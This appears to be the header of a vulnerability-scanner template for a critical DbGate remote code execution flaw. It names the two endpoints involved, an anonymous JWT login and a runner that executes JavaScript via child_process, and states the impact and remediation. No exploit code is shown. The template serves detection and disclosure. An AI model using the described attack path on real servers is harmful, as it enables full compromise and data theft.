id: CVE-2026-47668

info:
  name: DbGate - Remote Code Execution via Anonymous JWT
  author: benharvey-sage
  severity: critical
  description: |
   DbGate contains a remote code execution vulnerability exploitable by unauthenticated attackers. The /auth/login endpoint issues anonymous JWT tokens without credentials, and the /runners/start endpoint accepts JavaScript payloads that execute via Node.js child_process, allowing arbitrary command execution on the server.
  impact: |
   An unauthenticated attacker can execute arbitrary system commands on the server with the privileges of the DbGate process, leading to full server compromise, data exfiltration from connected databases, lateral movement, and deployment of backdoors or ransomware.
  remediation: |
   Update DbGate to the latest patched version.
